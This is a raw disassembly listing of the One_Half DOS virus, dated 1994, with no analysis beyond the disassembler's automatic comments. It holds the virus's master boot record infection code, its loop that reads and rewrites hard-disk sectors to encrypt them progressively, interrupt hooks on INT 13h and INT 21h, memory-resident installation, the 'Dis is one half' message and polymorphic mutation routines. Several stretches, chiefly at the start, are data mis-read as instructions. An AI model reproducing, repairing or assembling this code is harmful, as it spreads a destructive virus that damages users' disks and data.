PAGE  59,132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ                             ONE_HALF                                 ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛ      Created:   19-Oct-94                                            ÛÛ
;ÛÛ      Passes:    5          Analysis Options on: none                 ÛÛ
;ÛÛ                                                                      ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

target          EQU   'M5'                      ; Target assembler: MASM-5.1

;include  srmacros.inc


; The following equates show data references outside the range of the program.

data_1e         equ     2Ch
data_2e         equ     70h
data_3e         equ     72h
data_4e         equ     84h
data_6e         equ     100h
data_7e         equ     2A0h
data_8e         equ     2A2h
data_9e         equ     2A9h
data_10e        equ     2ADh
data_11e        equ     2B8h
main_ram_size_  equ     413h
timer_low_      equ     46Ch
data_12e        equ     56Ah                    ;*
data_13e        equ     600h                    ;*
data_14e        equ     7BEh                    ;*
data_15e        equ     7D1h                    ;*
data_16e        equ     0BABh                   ;*
data_17e        equ     0DD6h                   ;*
data_18e        equ     0                       ;*
data_19e        equ     3                       ;*
data_20e        equ     0
data_21e        equ     1
data_22e        equ     3
data_23e        equ     10h
data_24e        equ     12h
data_25e        equ     16h
data_26e        equ     1Ah
data_27e        equ     22h
data_28e        equ     24h
data_29e        equ     26h
data_30e        equ     2Ah
data_31e        equ     34h
data_32e        equ     3Ch
data_33e        equ     3Eh
data_34e        equ     40h
data_35e        equ     4Ch
data_37e        equ     70h
data_39e        equ     86h
data_40e        equ     0A4h
data_41e        equ     0A6h
data_42e        equ     0A8h
data_43e        equ     0AAh
data_44e        equ     0C6h
data_45e        equ     0F8h
data_46e        equ     0FFh
data_105e       equ     0F35h                   ;*
data_107e       equ     0F39h                   ;*
data_108e       equ     0F55h                   ;*
data_109e       equ     0F5Fh                   ;*
data_111e       equ     0F63h                   ;*
data_112e       equ     0F65h                   ;*
data_113e       equ     0F67h                   ;*
data_114e       equ     0FB4h                   ;*
data_115e       equ     1007h                   ;*
data_116e       equ     1701h                   ;*
data_117e       equ     1B00h                   ;*
data_118e       equ     4E01h                   ;*
data_119e       equ     7C00h                   ;*
data_120e       equ     0BC61h                  ;*
data_121e       equ     0C400h                  ;*
data_122e       equ     0DE8h
data_123e       equ     0DEAh
data_124e       equ     0

seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a


                org     100h

one_half        proc    far

start:
                pop     dx
                add     ds:data_46e[bx],bx
                add     [bx+si],al
                add     [bp+di+4Fh],al
                dec     bp
                dec     bp
                inc     cx
                dec     si
                inc     sp
                add     [di+5Ah],cl
                mov     [bx+si],ax
                adc     al,[bx+si]
                add     [bx+si],al
                add     al,[bx+si]
                jnz     loc_4                   ; Jump if not zero
                db      0FFh,0FFh, 76h
loc_4:
                add     si,ax
                add     al,[bx+di]
                add     [bx+si],al
                add     [bx+si],cl
                add     bl,ds:data_121e
                add     bp,ss:data_118e[bp+di]
                add     al,2Fh                  ; '/'
                add     ss:data_117e[bp+si],bl
                add     cl,ds:data_116e[bx]
                add     si,si
                add     cl,dl
                add     ss:data_115e[bp+si],si
                jmp     short $-42h
                                                ;* No entry point to code
                call    sub_2
                mov     cx,1004h
                jnc     $+5Ah                   ; Jump if carry=0
                pop     bx
                pop     cx
                pop     dx
                dec     cx
                test    al,1Dh
                mov     cx,698Eh
                clc                             ; Clear carry flag
                push    cx
loc_6:
                mov     cl,4
                shr     ax,cl                   ; Shift w/zeros fill
                mov     cx,es
                add     cx,ax
                push    es
                inc     sp
                lds     dx,dword ptr [bx+si]    ; Load 32 bit ptr
                or      [bx+si],al
loc_7:
                db       60h, 5Ch,0BAh, 0Fh,0F4h,0FFh
                db       3Fh,0EAh, 2Eh, 03h, 01h, 9Ch
                db       2Eh, 0Bh, 07h, 91h

locloop_8:
                movsw                           ; Mov [si] to es:[di]
                movsw                           ; Mov [si] to es:[di]
                sub     si,4
                loop    locloop_8               ; Loop if cx > 0

                or      word ptr [bp+di],0FFDBh
                jnz     loc_6                   ; Jump if not zero
                cld                             ; Clear direction
                push    es
loc_10:
                pop     ds
                lea     si,[di+2]               ; Load effective addr
;*              jz      loc_9                   ;*Jump if zero
                db       74h,0F4h               ;  Fixup - byte match
                jc      loc_10                  ; Jump if carry Set
                add     bp,bp
                dec     dx
                jz      loc_7                   ; Jump if zero
;*              jc      loc_5                   ;*Jump if carry Set
                db       72h, 95h               ;  Fixup - byte match
                mov     dl,10h
                jmp     short loc_11
                                                ;* No entry point to code
                lodsw                           ; String [si] to ax
                xchg    bp,ax
                mov     dl,10h
;*              jmp     short loc_13            ;*
                db      0EBh, 75h               ;  Fixup - byte match
                                                ;* No entry point to code
                add     al,0F3h
                stosw                           ; Store ax to es:[di]
;*              jmp     short loc_12            ;*
                db      0EBh, 2Ah               ;  Fixup - byte match
                                                ;* No entry point to code
                stosb                           ; Store al to es:[di]
                xchg    al,ah
                dec     cx
                adc     [bx+si],al

one_half        endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_2           proc    near
                push    ds
                add     [bx+si],al
                add     dh,[bp+di]
                db      0DBh,0FAh,0BCh, 00h, 7Ch, 8Eh
                db      0D3h,0FBh, 8Eh,0DBh, 83h, 2Eh
                db       13h, 04h, 04h
loc_11:
                mov     cl,6
                int     12h                     ; Put (memory size)/1K in ax
                shl     ax,cl                   ; Shift w/zeros fill
                mov     dx,80h
                mov     es,ax
                mov     cx,0Bh
                mov     ax,207h
                push    es
                int     13h                     ; Disk  dl=drive 0  ah=func 02h
                                                ;  read sectors to memory es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                mov     ax,0D3h
                push    ax
                retf
sub_2           endp

                                                ;* No entry point to code
                mov     ds:data_39e,cs
                mov     ax,word ptr ds:[46Ch]
                push    ds
                push    cs
                pop     ds
                mov     word ptr ds:[56Ah],ax
                mov     ax,cs
                inc     ax
                mov     ds:data_21e,ax
                mov     byte ptr ds:[0CEBh],0
                call    sub_3
                pop     es
                mov     bx,sp
                push    es
                mov     si,es:[bx+29h]
;*              cmp     si,7
                db       81h,0FEh, 07h, 00h     ;  Fixup - byte match
                jbe     loc_19                  ; Jump if below or =
                push    si
                sub     si,2
                mov     word ptr ds:[140h],si
                pop     si
                mov     ah,8
                int     13h                     ; Disk  dl=drive a  ah=func 08h
                                                ;  get drive parameters, bl=type
                                                ;   cx=cylinders, dh=max heads
                                                ;   es:di= ptr to drive table
                jc      loc_19                  ; Jump if carry Set
                mov     al,cl
                and     al,3Fh                  ; '?'
                mov     byte ptr ds:[0E2Dh],al
                mov     cl,1
                mov     bh,7Eh                  ; '~'
                mov     word ptr ds:[0E2Fh],bx
                mov     dl,80h
loc_14:
                dec     si
                call    sub_4
                push    dx
loc_15:
                mov     ah,2
                push    ax
                int     13h                     ; Disk  dl=drive 0  ah=func 02h
                                                ;  read sectors to memory es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                pop     ax
                jc      loc_16                  ; Jump if carry Set
                call    $+0D00h
                inc     ah
                push    ax
                int     13h                     ; Disk  dl=drive 0  ah=func 03h
                                                ;  write sectors from mem es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                pop     ax
loc_16:
                jc      loc_21                  ; Jump if carry Set
                test    dh,3Fh                  ; '?'
                jz      loc_17                  ; Jump if zero
                dec     dh
                jmp     short loc_15
loc_17:
                pop     dx
                cmp     si,3A7h
                ja      loc_14                  ; Jump if above
loc_18:
                mov     bh,7Ch                  ; '|'
                mov     es:[bx+29h],si
                mov     ax,301h
                mov     cx,1
                mov     dh,ch
                int     13h                     ; Disk  dl=drive 0  ah=func 03h
                                                ;  write sectors from mem es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
loc_19:
                mov     word ptr ds:[0EEEh],si
                cmp     si,19Ch
                ja      loc_20                  ; Jump if above
                call    sub_5
loc_20:
                mov     ax,201h
                mov     bx,data_119e
                mov     cx,ds:data_44e
                dec     cx
                mov     dx,80h
                int     13h                     ; Disk  dl=drive 0  ah=func 02h
                                                ;  read sectors to memory es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                cli                             ; Disable interrupts
                les     ax,dword ptr es:data_35e        ; Load 32 bit ptr
                mov     ds:data_105e,ax
                mov     word ptr ds:data_105e+2,es
                pop     es
                push    es
                les     ax,dword ptr es:data_37e        ; Load 32 bit ptr
                mov     word ptr ds:[205h],ax
                mov     word ptr ds:[207h],es
                pop     es
                push    es
                mov     word ptr es:data_35e,0E45h
                mov     word ptr es:data_35e+2,cs
                mov     word ptr es:data_37e,1D1h
                mov     word ptr es:data_37e+2,cs
                sti                             ; Enable interrupts
                push    bx
                retf                            ; Return far
loc_21:
                xor     ah,ah                   ; Zero register
                push    ax
                int     13h                     ; Disk  dl=drive a  ah=func 00h
                                                ;  reset disk, al=return status
                pop     ax
loc_22:
                inc     dh
                mov     ah,dh
                pop     dx
                push    dx
                cmp     ah,dh
                ja      loc_23                  ; Jump if above
                mov     dh,ah
                mov     ah,2
                push    ax
                int     13h                     ; Disk  dl=drive a  ah=func 02h
                                                ;  read sectors to memory es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                pop     ax
                call    $+0C68h
                inc     ah
                push    ax
                int     13h                     ; Disk  dl=drive a  ah=func 03h
                                                ;  write sectors from mem es:bx
                                                ;   al=#,ch=cyl,cl=sectr,dh=head
                pop     ax
                jmp     short loc_22
loc_23:
                pop     dx
                inc     si
                jmp     loc_18
                                                ;* No entry point to code
                push    ax
                push    ds
                push    es
                xor     ax,ax                   ; Zero register
                mov     ds,ax
                les     ax,dword ptr ds:data_4e ; Load 32 bit ptr
                mov     word ptr cs:[0DE8h],ax
                mov     ax,es
                cmp     ax,800h
                ja      loc_24                  ; Jump if above
                mov     word ptr cs:[0DEAh],ax
                les     ax,dword ptr cs:[205h]  ; Load 32 bit ptr
                mov     ds:data_2e,ax
                mov     ds:data_3e,es
                mov     word ptr ds:data_4e,0C5Dh
                mov     word ptr ds:data_4e+2,cs
loc_24:
                pop     es
                pop     ds
                pop     ax
;*              jmp     far ptr loc_158         ;*
                db      0EAh
                dw      0FF53h, 0F000h          ;  Fixup - byte match

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_3           proc    near
                mov     si,772h
                mov     di,0DD8h
                mov     cx,15Dh
                cld                             ; Clear direction
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                retn
sub_3           endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_4           proc    near
                push    ax
                mov     ax,si
                mov     ch,al
                push    cx
                mov     cl,4
                shl     ah,cl                   ; Shift w/zeros fill
                pop     cx
                mov     al,3Fh                  ; '?'
                and     dh,al
                and     cl,al
                not     al
                push    ax
                and     ah,al
                or      dh,ah
                pop     ax
                shl     ah,1                    ; Shift w/zeros fill
                shl     ah,1                    ; Shift w/zeros fill
                and     ah,al
                or      cl,ah
                pop     ax
                retn
sub_4           endp

                db      'Dis is one half.', 0Dh, 0Ah, 'Pr'
                db      'ess any key to continue ...', 0Dh
                db      0Ah

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_5           proc    near
                mov     ah,4
                int     1Ah                     ; Real time clock   ah=func 04h
                                                ;  get date  cx=year, dx=mon/day
                jc      loc_ret_26              ; Jump if carry Set
                test    dl,3
                jnz     loc_ret_26              ; Jump if not zero
                test    word ptr ds:[0DD6h],1
                jnz     loc_ret_26              ; Jump if not zero
                mov     cx,31h
                mov     si,239h
                mov     ah,0Fh
                int     10h                     ; Video display   ah=functn 0Fh
                                                ;  get state, al=mode, bh=page
                                                ;   ah=columns on screen
                mov     bl,7
                mov     ah,0Eh

locloop_25:
                lodsb                           ; String [si] to al
                int     10h                     ; Video display   ah=functn 0Eh
                                                ;  write char al, teletype mode
                loop    locloop_25              ; Loop if cx > 0

                xor     ah,ah                   ; Zero register
                int     16h                     ; Keyboard i/o  ah=function 00h
                                                ;  get keybd char in al, ah=scan

loc_ret_26:
                retn
sub_5           endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_6           proc    near
                push    bx
                mov     bx,0
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, bx=file handle
                                                ;   al=method, cx,dx=offset
                pop     bx
                retn
sub_6           endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_7           proc    near
                pushf                           ; Push flags
                cli                             ; Disable interrupts
;*              call    far ptr sub_1           ;*
                db      9Ah
                dw      774h, 70h               ;  Fixup - byte match
                retn
sub_7           endp

                                                ;* No entry point to code
                push    bp
                mov     bp,sp
                jmp     short loc_27
                                                ;* No entry point to code
                cmp     word ptr [bp+4],253h
                ja      loc_28                  ; Jump if above
                push    ax
                push    bx
                push    ds
                lds     ax,dword ptr [bp+2]     ; Load 32 bit ptr
                mov     bx,469h
                mov     word ptr cs:[2A0h][bx],ax
                mov     word ptr cs:[2A2h][bx],ds
                mov     byte ptr cs:[2A9h][bx],23h      ; '#'
                pop     ds
                pop     bx
                pop     ax
loc_27:
                and     byte ptr [bp+7],0FEh
loc_28:
                pop     bp
                iret                            ; Interrupt return
loc_29:
                pop     bx
                pop     ax
                push    ax
                dec     ax
                mov     ds,ax
                cmp     byte ptr ds:data_124e,5Ah       ; 'Z'
                jne     loc_31                  ; Jump if not equal
                add     ax,ds:data_22e
                sub     ax,0FFh
                mov     dx,cs
                mov     si,bx
                mov     cl,4
                shr     si,cl                   ; Shift w/zeros fill
                add     dx,si
                mov     si,cs:data_26e[bx]
                cmp     si,106h
                jae     loc_30                  ; Jump if above or =
                mov     si,106h
loc_30:
                add     dx,si
                cmp     ax,dx
                jb      loc_31                  ; Jump if below
                mov     byte ptr ds:data_20e,4Dh        ; 'M'
                sub     word ptr ds:data_22e,100h
                mov     ds:data_24e,ax
                mov     es,ax
                push    cs
                pop     ds
                inc     ax
                mov     ds:data_21e,ax
                mov     byte ptr ds:[0BABh][bx],0EBh
                mov     si,bx
                xor     di,di                   ; Zero register
                mov     cx,0DD8h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                push    es
                pop     ds
                call    sub_3
                xor     ax,ax                   ; Zero register
                mov     ds,ax
                cli                             ; Disable interrupts
                mov     ax,ds:data_4e
                mov     es:data_122e,ax
                mov     ax,word ptr ds:data_4e+2
                mov     es:data_123e,ax
                mov     word ptr ds:data_4e,0C5Dh
                mov     word ptr ds:data_4e+2,es
                sti                             ; Enable interrupts
loc_31:
                jmp     loc_39
                db      0E8h, 00h, 00h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_8           proc    near
                pop     si
                sub     si,352h
                mov     ds:data_11e[si],si
                push    es
                push    si
                cld                             ; Clear direction
                inc     word ptr ds:data_17e[si]
                mov     byte ptr ds:data_16e[si],74h    ; 't'
                xor     ax,ax                   ; Zero register
                mov     es,ax
                mov     ax,es:timer_low_
                mov     ds:data_12e[si],ax
                mov     ds:data_15e[si],ax
                mov     ax,4B53h
                int     21h                     ; ??INT Non-standard interrupt
                int     3                       ; Debug breakpoint
                dec     bx
                inc     bp
                jz      loc_32                  ; Jump if zero
                mov     ah,52h
                int     21h                     ; DOS Services  ah=function 52h
                                                ;  get DOS data table ptr es:bx
                                                ;*  undocumented function
                mov     ax,es:[bx-2]
                mov     ds:data_10e[si],ax
                mov     byte ptr ds:data_9e[si],0
                mov     ax,3501h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                push    bx
                push    es
                mov     ax,3513h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     ds:data_7e[si],bx
                mov     ds:data_8e[si],es
                mov     ax,2501h
;*              lea     dx,loc_1[si]            ;*Load effective addr
                db       8Dh, 94h,0A5h, 02h     ;  Fixup - byte match
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                lea     bx,cs:[0DD8h][si]       ; Load effective addr
                mov     cx,1
                mov     dx,80h
                push    cs
                pop     es
                pushf                           ; Push flags
                pop     ax
                or      ah,1
                push    ax
                popf                            ; Pop flags
                mov     ax,201h
                call    sub_7
                pushf                           ; Push flags
                pop     ax
                and     ah,0FEh
                push    ax
                popf                            ; Pop flags
                pop     ds
                pop     dx
                pushf                           ; Push flags
                mov     ax,2501h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                popf                            ; Pop flags
                jc      loc_36                  ; Jump if carry Set
                push    cs
                pop     ds
                cmp     word ptr [bx+25h],0D3h
                jne     loc_33                  ; Jump if not equal
loc_32:
                jmp     loc_38
loc_33:
                cmp     word ptr ds:[180h][bx],72Eh
                je      loc_36                  ; Jump if equal
                mov     ah,8
                mov     dl,80h
                call    sub_7
                jc      loc_36                  ; Jump if carry Set
                and     cx,3Fh
                mov     byte ptr ds:[814h][si],cl
                mov     byte ptr ds:[89Eh][si],cl
                and     dh,3Fh                  ; '?'
                mov     byte ptr ds:[8A7h][si],dh
                mov     ax,301h
                sub     cl,7
                mov     byte ptr ds:[819h][si],cl
                mov     dx,80h
                call    sub_7
                jc      loc_36                  ; Jump if carry Set
                push    cx
                push    dx
                push    si
                xchg    di,si
                mov     cx,4
                add     bx,1EEh

locloop_34:
                mov     al,[bx+4]
                cmp     al,1
                je      loc_37                  ; Jump if equal
                cmp     al,4
                jb      loc_35                  ; Jump if below
                cmp     al,6
                jbe     loc_37                  ; Jump if below or =
loc_35:
                sub     bx,10h
                loop    locloop_34              ; Loop if cx > 0

                pop     si
                pop     dx
                pop     cx
loc_36:
                jmp     loc_29
loc_37:
                mov     cx,[bx+2]
                mov     dh,[bx+1]
                call    sub_16
                add     si,7
                mov     ds:data_45e[di],si
                xchg    si,ax
                mov     cx,[bx+6]
                mov     dh,[bx+1]
                call    sub_16
                mov     word ptr ds:[882h][di],si
                mov     word ptr ds:[48Ch][di],si
                add     ax,si
                shr     ax,1                    ; Shift w/zeros fill
                mov     word ptr ds:[15Ah][di],ax
                pop     si
                pop     dx
                pop     cx
                mov     ax,307h
                xchg    bx,si
                inc     cx
                mov     ds:data_44e[bx],cx
                call    sub_7
                jc      loc_36                  ; Jump if carry Set
                lea     si,ds:data_43e[bx]      ; Load effective addr
                lea     di,ds:[0DD8h][bx]       ; Load effective addr
                push    di
                mov     cx,29h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     ax,332h
                stosw                           ; Store ax to es:[di]
                mov     ax,301h
                pop     bx
                mov     cx,1
                call    sub_7
                jc      loc_36                  ; Jump if carry Set
loc_38:
                pop     bx
loc_39:
                push    cs
                pop     ds
                push    cs
                pop     es
                lea     si,ds:data_34e[bx]      ; Load effective addr
;*              add     bx,data_30e
                db       81h,0C3h, 2Ah, 00h     ;  Fixup - byte match
                mov     cx,0Ah

locloop_40:
                mov     di,[bx]
                push    cx
                mov     cx,0Ah
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     cx
                inc     bx
                inc     bx
                loop    locloop_40              ; Loop if cx > 0

                pop     es
                add     bx,0FFD2h
                mov     di,es
                add     di,10h
                add     [bx+16h],di
                add     [bx+0Eh],di
                cmp     word ptr [bx+6],0
                je      loc_45                  ; Jump if equal
                mov     ds,es:data_1e
                xor     si,si                   ; Zero register
loc_41:
                inc     si
                cmp     word ptr [si],0
                jne     loc_41                  ; Jump if not equal
                add     si,4
                xchg    dx,si
                mov     ax,3D00h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                jc      loc_48                  ; Jump if carry Set
                push    cs
                pop     ds
                mov     word ptr ds:[287h][bx],ax
                mov     dx,[bx+18h]
                mov     ax,4200h
                call    sub_6
                push    es
                xchg    di,ax
loc_42:
                push    ax
                lea     dx,cs:[54Dh][bx]        ; Load effective addr
                mov     cx,[bx+6]
                cmp     cx,29Eh
                jb      loc_43                  ; Jump if below
                mov     cx,29Eh
loc_43:
                sub     [bx+6],cx
                push    cx
                shl     cx,1                    ; Shift w/zeros fill
                shl     cx,1                    ; Shift w/zeros fill
                mov     ah,3Fh                  ; '?'
                call    sub_6
                jc      loc_48                  ; Jump if carry Set
                pop     cx
                pop     ax
                xchg    si,dx

locloop_44:
                add     [si+2],ax
                les     di,dword ptr [si]       ; Load 32 bit ptr
                add     es:[di],ax
                add     si,4
                loop    locloop_44              ; Loop if cx > 0

                cmp     word ptr [bx+6],0
                ja      loc_42                  ; Jump if above
                pop     es
                mov     ah,3Eh                  ; '>'
                call    sub_6
loc_45:
                push    es
                pop     ds
                cmp     byte ptr cs:[bx+12h],0
                jne     loc_46                  ; Jump if not equal
                mov     si,bx
                mov     di,data_6e
                mov     cx,3
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ax
                jmp     short loc_47
loc_46:
                pop     ax
                cli                             ; Disable interrupts
                mov     sp,cs:[bx+10h]
                mov     ss,cs:[bx+0Eh]
                sti                             ; Enable interrupts
loc_47:
                jmp     dword ptr cs:[bx+14h]   ;*
loc_48:
                mov     ah,4Ch
                int     21h                     ; DOS Services  ah=function 4Ch
                                                ;  terminate with al=return code

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_9:
                mov     word ptr cs:[5A8h],si
                push    ax
                push    bx
                push    cx
                push    dx
                mov     cx,1624h
                mov     bx,2B28h
                mov     dx,15Ah
                mov     ax,4E35h
                xchg    si,ax
                xchg    dx,ax
                test    ax,ax
                jz      loc_49                  ; Jump if zero
                mul     bx                      ; dx:ax = reg * ax
loc_49:
                jcxz    loc_50                  ; Jump if cx=0
                xchg    cx,ax
                mul     si                      ; dx:ax = reg * ax
                add     ax,cx
loc_50:
                xchg    si,ax
                mul     bx                      ; dx:ax = reg * ax
                add     dx,si
                inc     ax
                adc     dx,0
                mov     word ptr cs:[56Ah],ax
                mov     word ptr cs:[567h],dx
                mov     ax,dx
                pop     cx
                xor     dx,dx                   ; Zero register
                jcxz    loc_51                  ; Jump if cx=0
                div     cx                      ; ax,dx rem=dx:ax/reg
loc_51:
                pop     cx
                pop     bx
                pop     ax
                pop     si
                push    si
                cmp     byte ptr cs:[si],0CCh
loc_52:
                je      loc_52                  ; Jump if equal
                mov     si,5CBh
                retn
sub_8           endp

                                                ;* No entry point to code
                add     [bx+si+1],dx
                push    ss
                add     [bx],bx
                add     di,word ptr ds:[469h][bx]
                add     di,ds:data_120e[bx+si]
                add     dh,[bx+di]
                add     ax,8104h
                db      0C0h
data_76         dw      0CAABh
                db       01h, 47h, 04h, 81h,0FFh, 41h
                db       12h, 02h, 75h,0EFh, 90h,0F9h
                db      0F8h,0FBh, 2Eh, 36h, 3Eh,0FCh
                db      0FDh,0F5h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_10          proc    near
                or      dx,dx                   ; Zero ?
                jz      loc_ret_54              ; Jump if zero
                push    si
                push    cx
                push    dx
                mov     cx,dx

locloop_53:
                mov     si,5CBh
                mov     dx,0Ah
                call    sub_9
                add     si,dx
                movsb                           ; Mov [si] to es:[di]
                loop    locloop_53              ; Loop if cx > 0

                pop     dx
                pop     cx
                pop     si

loc_ret_54:
                retn
sub_10          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_11          proc    near
                mov     ax,dx
                inc     dx
                call    sub_9
                sub     ax,dx
                call    sub_10
                xchg    dx,ax
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
;*              cmp     bx,data_32e
                db       81h,0FBh, 3Ch, 00h     ;  Fixup - byte match
                jnz     loc_55                  ; Jump if not zero
                mov     ax,ds:data_31e
                sub     ax,di
                add     ax,0F3Bh
                sub     ax,[bx]
                dec     di
                stosb                           ; Store al to es:[di]
loc_55:
                call    sub_10
                retn
sub_11          endp

                                                ;* No entry point to code
                mov     dh,5
                mov     bx,0BE05h
                add     ax,5B2h
                mov     bx,0C205h
                add     ax,5C5h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_12          proc    near
loc_56:
                lodsw                           ; String [si] to ax
                xchg    di,ax
                mov     al,dl
                cmp     si,61Eh
                jne     loc_57                  ; Jump if not equal
                and     al,5
                cmp     al,1
                jne     loc_58                  ; Jump if not equal
                mov     al,7
loc_57:
                cmp     si,618h
                jne     loc_58                  ; Jump if not equal
                mov     cl,3
                shl     al,cl                   ; Shift w/zeros fill
                or      [di],al
                or      al,0C7h
                jmp     short loc_59
loc_58:
                or      [di],al
                or      al,0F8h
loc_59:
                and     [di],al
                cmp     si,61Ah
                je      loc_ret_60              ; Jump if equal
                cmp     si,622h
                je      loc_ret_60              ; Jump if equal
                jmp     short loc_56

loc_ret_60:
                retn
sub_12          endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
